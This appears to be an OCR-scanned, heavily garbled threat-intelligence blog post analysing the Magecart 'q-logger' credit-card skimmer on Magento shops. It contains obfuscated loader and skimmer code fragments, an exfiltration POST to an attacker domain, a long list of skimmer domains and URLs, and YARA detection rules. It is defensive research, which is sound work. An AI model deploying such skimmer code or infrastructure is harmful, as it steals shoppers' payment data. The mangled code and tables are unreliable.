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Although global e-commerce is continuing to grow rapidly, it seems as though Magecart
attacks via digital skimmers have not followed the same trend. This is certainly true if we only
look at recent newsworthy attacks; indeed when a victim is a large business or popular brand
we typically are more likely to remember it.

From a research standpoint, we have observed certain shifts in the scope of attacks. For
instance, the different threat actors are continuing to expand and diversify their methods and
infrastructure. In a blog_post about Magecart Group 8, we documented some of the various
web properties used to serve skimmers and exfiltrate stolen data.

But at the end of the day, we only know about attacks that we can see, that is until we
discover more. Case in point, one particular skimmer identified as g-logger, has been active
for several months. But it wasn’t until we started digging further that we realized how much
bigger it was.

Q-logger origins
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This skimmer was originally flagged by Eric Brandel as g-logger. Depending on how much
you enjoy parsing JavaScript you may have a love/hate relationship with it. The code is
dense and using an obfuscator that is as generic as can be, making identification using
signatures challenging.

Thanks to some data from @sansecio I've come across a new(?) digital
skimmer/#magecart | call "g-logger". It has a variety of features, the most peculiar may
be the secondary keylogger it uses to try and defend against inspection. 1/16
pic.twitter.com/ME8OKMrNg5

— Eric Brandel (@AffableKraut) April 22, 2021

This skimmer can be found loaded directly into compromised e-commerce sites. However, in
the maijority of cases we found it loaded externally.

The loader

The loader is also an encoded piece of JavaScript that is somewhat obscure. It is injected
inline within the DOM right before the text/x-magento-init tag or separated by copious
amounts of white space.

src="https:/fwww. I - . b/ static frontend/Vicomage/krystal/en_US/mage/polyfill js"></script>

-script type="text/javascript>window.addEventListener("load" function{}{{function(}{try{var

=["mJztfD Tzh 0", "mwTZswvnEa""yMIK" "BEhvK" "mta4mJHgwNPWAWC" "DguV™ "yxrP" "rwXL","D2y

Ivhnh" "y 28", "C 31" "IN P "A2vY™" " Axb 0" "nOLhDhrpwW" . "mtaln3jIDhDwva"."IMPZ" " Awb J","y=bW",
inTCufovg"."y29T"."B29J","y2HL","nZu40dGED05rEXDt"."ndmxXmezQu2bzy G","otm4nJiXqvbKAgn3","Cgfl","AghH","yxrL
V'ntaYmZDLs05ZBg 0", "Bwvll","mZGTnJelD3nwy TrM", "zw K" "Bwal" "TY9S" "y2 TV" "y 3L "] function Win.t{{var r=K[n-=
H15]:f{void 0===W GXKGdPHW viiUvt=function{n{for{var t=function{n{for(var tr.e=""y=0a=0:r=n_charAt{a++). " r8&(t=y%
F64 o y++%4) Pe+=String. fromCharCode(255&t>=(-2*y&6)):.0)

="abcdefghijklmnopgrstuvwxyzABCDEF GHIJKLMMOPQRSTIUNVWAY 20123456 789+/=".indexOf{r).return e}{n).r=[].e=
Ly=tlengthe<y.e++jr+="%"+"00"+LcharCodeAt{e) toString(16)).slice(-2).return
lecodeURIComponent{r)},W tdnCou={}W GXKGdP=I0}var e=n+K[0].y=W tdnCou[e];return void 0

==y r=W vliUvt(r).W tdnCoule]=r):r=y.r}var y=function(n.tr.e y}{return W(e- -886.y)}.R=function(n.tr.e,y){return

N {e--986.y)}function({n t{for(var r=function(n.tr.e y}{return W{y-351.r}.e=function(n.tr.e y){return W(y-351.r)}:)iry{if(64 7659
==parselnt{r(0.0,"0x314".0,770))" parselnt{e(0.0,"0=2fd".0,780))+parselnt(r(0.0,777,0,788))*-
sarselnt(r(0,0.804.0,792)+parselnt{r{0.0."0x317".0."0x306") )+

sarselnt{e(0.0,"0x31c".0,789)) parselnt{r(0.0,"0x303",0,782))+parselnt(e(0.0,807 0,804))*-
sarselnt{e(0.0."0x336".0.805)+parselnt{r{0.0,"0x31b",0,"0=x308") |+

rarselnt{e(0.0,"0x313".0,"0307")) parseint(r(0.0.808.0."0x31e")))break:n.push{n.shift]))}catchti{n.push{n.shift{})} { K var
j=document[y(-574,-581,-549,-569,-577+R(-545,-564,-525-543 -548)+"on"]
y(-567.-b65.-559.-660,-551)+R(-579.-570.-5642,-559,-661+"me"].ifigR & g[y(-581.-568.-587.-571.-672+R(-543.-529.-550 -546.-5
B0)+"es")(R(-584,-559,-554 -564,-584)+y(-569,-565,-538,-551,-544)+"ut") .8
a[y(-553.-566.-552,-571,-586)+y(-553.-567,-548.-546,-537)+"es"|(R(-558.-537.-529,-538,-525+"t"}{var
J=document[R(-534.-549 -531.-550.-566)+y(-574,-578 -560.-558 -5 70)+y(-530.-549.-541 -542 -534)+y(-540.-562 -552 -556.-5 7(
]

w(-550,-530,-548.-540,-524)+y(-538,-514,-532 -534 -545)); U[R{-549.-520,-532 -537 -540)=y(-557.-547,-572 -552,-55 7+ R(-582 ;
»53.-550.-565.-568)+y(-527.-514.-536.-535.-522)+R(-533.-550.-554.-541.-525+R(-552.-530.-545 -536.-522)+y(-534.-537 -560.-5
i14,-549)+y(-571,-580.-549,-566,-582)+y(-541,-573,-543,-553.-545)+y(-515,-510,-525,-531.-514). document]y(-553,-565,-566.-54
F.-553+"y"|[R(-583.-580.-570,-570.-551}+y(-541,-551,-538.-554 -561)+R(-575.-586.-560,-568,-568+"Id"){U)}  catch(e){}})

) H<fscript>

<script type="text-magento-init">

One way to understand what the code does is by using a debugger and setting a breakpoint
at a particular spot. It is best to either use an already compromised site or bypass the check
for the address bar (onestepcheckout).
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[#] index.php index.phpformatted X [

EF T

25 var e = n + K[@] K = Array(41l) -
26 » ¥ = W.tdnCou[e]; ¥ = Ff (n,t,r,e,y), W = f W(n,t)

27 return vaid @ === y ? {r = W.vIilvt{r),

28 W.tdnCou[e] = r) 1 r =y,

25 r

I}

31 var y = function{n, t, r, e, ¥v) { ¥ = Ff (n,t,r,e,y)

32 return Wie - -986, v} W = f W(n,t)

33| 3

34 s R = function(n, t, r, &, ¥) { R =F (n,t,r,e,¥), v = f (n,t,r,e,v)
35 return Wie - -986, v} W = f W(n,t)

36 Ii

37 'function{n, t} {

35 for (var r = function(n, t, r, e, ¥} { y = f (n,t,r,e,y)

39 return W(y - 351, r) W = f W(n,t)

4@ ¥, & = functioni{nm, t, r, &, ¥v) {

41 return Wiy - 351, r) W = f W(n,t)

42 Fios )

43 try {

44 if (647859 === parselnt(r{@, @, "@x314", @, 778)) * parselnt{e(d, @, "@x2fd", 8,
45 break;

46 n.push{n.shift{}}

47 } catch (t) {

43 n.push{n.shift{}1}

49 +

56 HKY; K = Array(4l)
51 wvar g = document[y(-574, -581, -348, -5869, -577) + R(-545, -584, -525, -543, -548) + "on"1[v{
52 if (g &% g[y({-581, -568, -587, -571, -572) + R(-543, -520, -35@, -546, -568) + "es"](R(-5384,

53 var U = document[R(-534, -549, -531, -55@, -586) + y(-574, -578, -360, -558, -578) + yi-t
54 U[R(-54%, -528, -532, -537, -54@8)] = y(-557, -547, -572, -552, -557) + B(-582, -553, -55¢
B document[BMy({-553, -565, -566, -547, -553) + "y"][R(-583, -588, -57@, -57@, -551) + [w(-

T
catch (e} {}

3

Coverage: nfa

erTe

We can now see the purpose of this script: it is to load the proper skimmer.

The skimmer

As mentioned previously, the skimmer is quite opaque and makes debugging effort difficult
and lengthy.
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Host URL Body SHA-256
goosl.store  fanimate-1.6.9.min.js 27,274 4b6394465bb34bcoblc18d14928efa23a1e0826ff868a070e...
goosl.store fopenapi-3.3.min.js 24,910 ea9%8cfflacl1775b0d6e40574883db2088d2edb483cBf6e7E3...
mariaschool.xyz fopenapi.min.js 122,565 e38c1931f19e91b9ce5fc2141248233d926f0b7211cf3c7f42...
pagecleaner.site /state.min.js 82,546 2458bf568879fb8b5Se6b7c74al0dclBabo490cfo440db23ae...
pinokio.online  [slick-3.4.min.js 129,249 07c4lebelSbhd12alasSa4165b904aaftbl4feld3el484742b3...
truetech.cam /screen-4.6.min.js 115,436 35882b6f2303c582af1baledd268bo87848f45dc06586a49e...
onehitech.casa /tags-3.0.7.js 38,044 0cldd87c736407a28eeb6e890fac3cod3b0c9ase22952595¢e...
rokki.club /mobile-1.3.min.js 03,560 4315d43d5c6a15983c43aeallcfB687eab6f1961e76fcc2a%e...

fastjspage.site /utils.js 552,164 8c019442acf39a958d7abdod352f702588d75%13daa7f318...
versionhtml.site fopenapi-4.1.js 78,098 5e605a529fe01a80b0bb8a336a0d53992541a36610251ef1...
itoltuico.cyou  flibrary-3.6.js 88,309 befdc631b900895fd0e439762d021d40c264510c35a1c1%4a...
adminet.site  [utils.js 141,000 3837cb6566ebod7aefo0489faeetcdicboslcl2dab9eleafl...
ollaholla.cyou fcommon-4.1.js 23,687 252a2f4b5ffd439e63a736324bebf4f8eff7cchb960998184ae1...
indokitel.xyz  fcurrent.min.js 24,889 4dcld8ald534f8dcc4attl19decds84954c2celdee5981beab...
gudini.cam [libs-2.0.js 170,329 002c5d839e133663da033d0fd66d323b3ad48d4832753bca...
fullka.online /dropdowns-1.6.min.js 88,727 B8fc2dcB840a%a2968c7028facld601b7e88f02cc962621ed194d...
welltech.monster /mobile-2.3.min.js 61,911 3bb83811cacc9d570c2369792d9f844a226a36c64bascfd19...
welltech.rest  fwidget.min.js 80,670 ca47988239ab71566cda%d66f1bl647ebd0b37f7elcea2d93...
sentech.cyou [widget.min.js 139,099 2479f06b65e5a80ce0b875291450827eca4ala2987002d51...
smalltrch.cc  /plugin-1.9.7.js 82,804 ab9d96c7fdaledfdd3b29d8efBc2a13c7411a619bc77abbel. ..

(function{{try{var pk=n.pi=n.pw=5.pj=S:function V{}{var .
pD=[mgLmKy' "WPgbWQnxjW' 'y8kSu8oqfG' 'W5qSWQhcHa' ' AqOjwNe' ' BtbVW57cla' 'u15H Skimmer

D21"'CMrLEha"'y2ZHHCKm' '"WRPWRhdMva''iZFdPmkoWRC'.'CgrhvNg',"zf-Hbz2u'. |GdcNCks e

moorg', " WRISW OymIW',"W5/cMMNIcWVMNC', idvjr04" RXmflV Ryu', 'wmk+ukP1','4ycQdy gV Qejdyol', 'Au?de?cNa' "yOF
PW4TJ"'Idr8kqg" 'zgflyg'."WQ3dJCkeiGi'.'gBkJFvhdla'.'zZzjrel,'D8kPumoTta'.'BMnTote". idWBWRmn'"WRuSECkD«
G''ygLPwwk' "ywrkzwg',"W5gIW4r8'","ywrKCMu','mizLsKLIuug'"WRzMWECBWQq'.'rducWPah'thitHCMC''WORcP23dL
k&' 'WQAFdKhPTWRK',"WOWsWQO0/vG''Agn TuMW' 'rCkgymkoW5K''hCkPnGJcV G |[CkCchpelq'.'qwDjq0i", f8oDWE
dR3q'.'WRuvBBkifg'.'dBoldSkzoG','qwDjsfi', ' WOHM 7erWQK' 2LbD2m' ' EwmYoxK'' A2xowS',"W5ZdMSk2W OxclUqg
hINdWVCkEWRK' 'gNDLgle".'DxPDhK' 'wiWWwLG'.'iogdKUgdKogdk+gdKa' ' Artd Dz IJyY nJi', "W Qhc GgrdHmbkz',' Aut
Quku''y2LbDwe''AwiZzZC" 'surdCgi'.'cCkDc2rS' 'B255B2e" ' WRHnW7eCWQG','0SkRDxxdGa'. 'sunbz0K ' rSoGWPx
SvO"'WOnQW7ywWPD',"WQaTngfh' " WRHPWRFcMgy'.'WECan8oAua' " WEyUWPtcRul','WQEsWRIdVaW'"W4gkb
Mcla'.'D2nizZC''xPP' 'BgsHsfe', DT Uywl'. " WE3d JOjiWRu''wmk/WQOBWPD',"WPmigMSQ".'ndC4nJm',"W 580V 43V
Qa''W4CaAWQNc02i','BBKkFWRRcVmod','gxDkvhm', " WPuUWPZditK' ' t3dUMtc TG',"W 70 1r8kzvW',"yvDrz0K', TS kPw!
oTW7q''FHZdUW' '"WRP6d8oczG'.'gSoSmkgW7W','smkKWODKWPD'.'FmkwCCogra' tMHKBwy' 'CMfzg8','u15HV
P4v'.'uedtva'iZddNCkgWRm' 'y2HYB20'.'BhLIJm1e" DMjUuMW' 'DgSvvem'."WQ/dGEoMz0m','C3r5B gu’."W4dc Sfich
LG"'C3rLEMuU',"WPNdLmoMAm','4yovdyogdyotdyoydyoH', mEyYwLC', 'smkVWOHAWOD' 'n2nlytm', fSkXnGlcKa' 4
cgdygidygvdyoBdyoa' 'BgiN''otbKrZK' 'wLDrz2u','pSkbdq7cSW' 'vLjCDMm','umoSCCoMWRU','mte Tndm4nwHEAw
yvg''gwDjr10"'gliWyJm"'Clb TDwWK, Awryuda'"W7SYaebo' "*2LKILD' "W QykWQW/vg''wKDgC10' 'amknFCoKW 73’
WO0e/WRSXng'.'yKDSDvO" 'ncteVmk2sq' "WPJFWP13ig'.'mJg2suC'.'ywDKB2q'".'qwD JiZK' 'FCoLBYhc Tq'.'BOv2W51
MN''sCkHw3/dGG"'dmkoEBK TW7u'.'z0LeD3y". 'uNbIBtu', "W 7K JWEX+WPS','BwIKywW' "WOjvasel''AvPToxK' 'sunbo
K'."WOWhWEDHWSC', "W Qehrudf"." W4CSWOdcOWS''2Zzjrgm’.'n8oEWRMdNLa''EEKDWR7d TSk4' ' nxvAwek, dux
SohhW' 'WE6eCW43rWOm'"Raev T ICksWPZe TwK', ' WPFdPxXwW04' 'sMXKsgq' iogdKUgdKogd OEgdLg'.' DwitY nwV
JIHBeL8KAWPI' 'EhbPCMe"'siMW4rg'.'sur3aDMm'.'wmkEvCooya'.'gSkhEmoSqgq'.'sum1ELK', 'WR4fg3x0",'meSP gMC
JJCojWRJANW' 'zvD4Bfa".'B1PxrMS"'yNvOD g8, AmkjW QfoWRu'. ' WRSsW4PhaW''ALLysMS",'DwS0CNK'.'nmoTudk
aW' '"WRvogCoSvG''nwbxm4','q050Qwt",'yBkmWOCYWPG''efEWQSQ'",'BwxbyZm' ywC50u8', 'oxCxh8ku' "W47d Trr
EVWO/cIW''nwXJAue' " WRgXW55GaG' 'CT1LytNO" 'rmoSCSkmW5S' 'h8o QwW' 'v1r7WQBC', " W7CTWSCmWRK'."WF

A= ARITIOTIANAIAN NI D L AT T SV VDR L Do LRI ARSI DR T D T o L T T I L T T T A

To cut to the chase, the skimmer exfiltrates data via a POST request to the same domain
name where the JavaScript is loaded from.

POST https://filltobill5.casa/ HTTP/1.1
Host: filltobill5.casa
[obfuscated data]
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Threat actor and victims

We were able to collect a few indicators from the threat actor behind this campaign. One was
the use of netmail.tk, also observed by Luke Leal, for registering skimmer domains.

Although there are clusters of domains from the same registrant, we see that they are trying
to compartmentalize their infrastructure and hide the hosting provider’s true IP address. They
also register domains en masse, which allows them to defeat traditional blocklists.

We don’t have a good estimate of how prevalent this campaign is, but we certainly run into it
regularly while monitoring e-commerce sites for malicious code. The victims are various
small businesses with an online shop running Magento.

o

Server Type CM5 Host Body Comments

Apache Magento 4 232,119 Magecart (Q_logger)
nginx Magento . 117,830 Magecart (Q_logger)
nginx Magento .. 109446 Magecart (Q_logger)
Apachef2.4.... Magento 160,005 Magecart (Q_logger)
nginx Magento r .. 162,429 Magecart (Q_logger)
cloudflare Magento Magecart (Q_logger)
nginx Magento Magecart (_logger)
Magecart (Q_logger)
Magecart (_logger)
Magecart (Q_logger)
Magecart (_logger)
Magecart (Q_logger)
Magecart (_logger)
Magecart (Q_logger)
Magecart (_logger)
Magecart (Q_logger)
Magecart (_logger)
Magecart (Q_logger)
Magecart (_logger)
Magecart (Q_logger)
Magecart (_logger)
Magecart (Q_logger)
Magecart (_logger)
Magecart (Q_logger)
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Apache Magento

Conclusion

The large number of e-commerce sites that are running outdated versions of their CMS is a
low hanging fruit for threat actors interested in stealing credit card data. In a sense, there is
always a baseline of potential victims that can be harvested.
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And every now and again, some opportunities appear. They could be as simple as a zero-
day in a plugin or CMS, or maybe an entry point into more valuable targets via a supply-
chain attack.

Threat actors are always ready to pounce on those and may well have established their
infrastructure ahead of time, waiting for such opportunities.

Malwarebytes customers are protected against this skimmer.

Checkout * +

< cC O & _checkoutﬁ#shipping

SR ) — 2

Shipping

Shipping Address

Email Address *

Malwarebytes | Teams X
You can create an acc

v/ Website blocked due to exploit

Learn about exploit. If vou don't want to block this website, you

can exclude it from website protection by accessing Exclusions.
First Mame =

Domain: loockerweb site
IP Address: 17267.178202
Port: 443

Last Name = Type: Outbound

Fie Clusers (D

Close

Company ‘ Manage Exclusions

Indicators of Compromise

Email addresses (registrant)

e wxugvvvu@netmail[.Jtk
* isgskpys@netmail[.]tk
o zulhgmnr@netmail[.]Jtk
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e yzzljjkmc@emlhub[.Jcom
o foyiy11183@macosnine[.Jcom

Skimmer domains

adminet[.]site
adminet[.]space
amasterwebl.]site
analistcloud[.]space
analistnet[.]site
analistnet[.]space
analistsite[.]site
analistsite[.]space
analisttabl.]site
analisttab[.]space
analistwebl.]site
analistwebl[.]space
analitic-tab|[.]site
analitic-tab[.]space
analiticnet[.]Jsite
analitics-tabl[.]site
analiticsnet[.]site
analiticstabl[.]site
analiticstab[.]space
analitictab[.]site
analitictab[.]space
analiticweb[.]site
analizeport[.]site
analizerete].]site
analylicwebl.]site
analystclick[.]site
analysttraffic[.]site
analystviewl[.]site
analystwebl.]site
analyticlick[.]site

analyticmanager].]site

analyticview[.]site
aneweb| ]Jsite
bublegum[.]xyz
cdnetworker][.]site
cleanerjs[.]site
clickanalyst[.]site
clickanalyticl[.]site
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cloudtester].]site
cocolatest[.]sbs
commenter].]site
connectwebl.]space
domainclean[.]site
domainet|[.]site
domainet[.]space
fastester|.]site
fastjspagel.]site
fastupload|.]site
filltobill5[.Jcasa
foosq[.]Jone
foundanalyst[.]site
foundanalytic[.]site
fullka[.Jonline
goos1[.]store
gudini[.Jcam
hardtester[.]site
hostcontrol[.]Jspace
httpanel[.]site
indokitel[.]xyz
interage[.]site
ipcounter|.]space
itoltuico[.]Jcyou

itsector|.]date
jscleaner].]site
lanetester].]site
lanlocker][.]site
linkerange[.]site
linkerangel.]space
listmanager[.]space
loockerweb[.]site
magengine[.]site
managerage|.]site
manageragel[.]space
managertraffic[.]site
mariaschool[.]xyz
masterlinker][.]site
masternet[.]space
masterport|[.]Jsite
mediaconservative[.]xyz
minanalize[.]site
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minimazerjs|.]site
netanalist[.]site
netanalist[.]space
netanalisttest[.]space
netanalitic[.]site
netanalitic[.]space
netanalitics[.]site
netcontrol[.]site
netpanel[.]site
netstart[.]space
nettingpanel[.]site
nettingtest[.]site
nettraffic[.]site
ollaholla[.Jcyou
onehitech[.]Jcasa
ownerpage|.]site
pagecleaner|.]site
pagegine[.]site
pageloader].]site
pagenator|.]site
pagestater[.]site
pagesupport[.]site
panelake[.]Jsite
panelake[.]Jspace
panelan[.]site
panelblock|.]site
panelnetting[.]site
panelocker].]site
pinokio[.Jonline
planetspeed|.]site
producteditor|.]site
retenetweb].]site
rokki[.]club
saverplanell[.]site
sectimer].]site
securefield[.]site
seewebl.]space
sentechl[.Jcyou
showproduct][.]site
siteanalist[.]site
siteanalist[.]space
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siteanalitic|.]site
siteanalitics[.]site
siteanalyst[.]site

siteanalytic[.]site
sitengine[.]site
sitesecure[.]space
sitetraffic[.]site
slickclean].]site
slotmanager].]Jsite
slotshower].]site
smallka[.]Jcam
smalltrch[.]cc
soorkis[.Jone
spaceclean].]site
spacecom|[.]site
speedstress|.]site
speedtester].]site
speedtester|.]space
sslmanager].]site
starnetting[.]site
statetraffic[.]site
statsclick][.]site
storepanel[.]site
suporter|.]site
tab-analitic[.]site
tab-analitic[.]space
tab-analitics[.]site
tab-analitics[.]space
tabanalist[.]site
tabanalist[.]space
tabanalitic[.]site
tabanalitic[.]space
tabanalitics[.]site
tabanalitics[.]space
targetag|.]space
telanet|.]site
telanet[.]space
trafficanalyst[.Jsite
trafficanalytics|.]site
trafficcloud|.]site
trafficsanalist[.]site
trafficsee].Jsite
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trafficweb].]site
truetech[.]Jcam
unpkgtraffic[.]site
veeneetech[.]world
versionhtml[.]site
viewanalyst[.]site
viewanalytic[.]site
webanalist[.Jsite
webanalist[.]space
webanalitic[.]site
webanalitics[.]site
webanalylic[.]site
webanalyst[.]site
webmode].]site
webmoder][.]space
welltech[.]bar
welltech[.]Jmonster
welltech[.]rest

Skimmer URLs

filltobill5[.]Jcasa/state-3.9.min.js
welltech[.]bar/state-5.0.7.js
veeneetech[.]Jworld/tag-2.7 .js
goos1[.]Jstore/openapi-3.3.min.js

goos1[.]Jstore/animate-1.6.9.min.js

mariaschool[.]xyz/openapi.min.js
pagecleaner|.]site/state.min.js
foosq[.Jone/mobile.js
pinokio[.Jonline/slick-3.4.min.js
truetech[.Jcam/screen-4.6.min.js
onehitech[.]Jcasa/tags-3.0.7.js
rokki[.]Jclub/mobile-1.3.min.js
bublegum[.]xyz/libs.min.js
fastjspage[.]site/utils.js
fastester][.]site/waypoints.min.js
versionhtml[.]site/openapi-4.1.js
itoltuico[.]Jcyou/library-3.6.js

adminet[.]site/utils.js
ollaholla[.Jcyou/common-4.1.js
indokitel[.]xyz/current.min.js
panelake[.]site/tag.js
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gudini[.Jcam/libs-2.0.js

fullka[.]Jonline/dropdowns-1.6.min.js

welltech[.]Jmonster/mobile-2.3.min.js

welltech[.Jrest/widget.min.js
sentech[.]Jcyou/widget.min.js
smalltrch[.]Jcc/plugin-1.9.7 .js
soorkis[.Jone/widget-3.6.7 .js
analistcloud[.]space/common.js
smallka[.]Jcam/plugin-1.1.3.js
loockerweb[.]site/common.js
mediaconservative[.]xyz/script.js
itsector[.]Jdate/waypoints.min.js

YARA rules

rule glogger_loader_WebSkimmer

{

meta:

author = "Malwarebytes"

! Magecart WebSkimmer

description = "Magecart (g-logger loader)"

source = "https://blog.malwarebytes.com/threat-intelligence/2021/10/q-1logger -

skimmer-keeps-magecart-attacks-going/"

date = "2021-160-19"

strings:

$regex = /"load", function\(\)\{\(function\(\)\{/

$regex2 = /while\(!'!'\[\I\)\{try{var/
$regex3 = /\N(\W\['shift"\I\(\)\);\I\}\}/

condition:
all of them

}

rule glogger_skimmer_WebSkimmer

{

meta:
author = "Malwarebytes"

: Magecart WebSkimmer

description = "Magecart (qg-logger skimmer)"

source = "https://blog.malwarebytes.com/threat-intelligence/2021/10/q-1logger -

skimmer-keeps-magecart-attacks-going/"

date = "2021-160-19"

strings:

$regex = /return\(!'!'window\[\w{2}\(/
$regex2 = /\w\(\)&&console\[/

condition:
all of them
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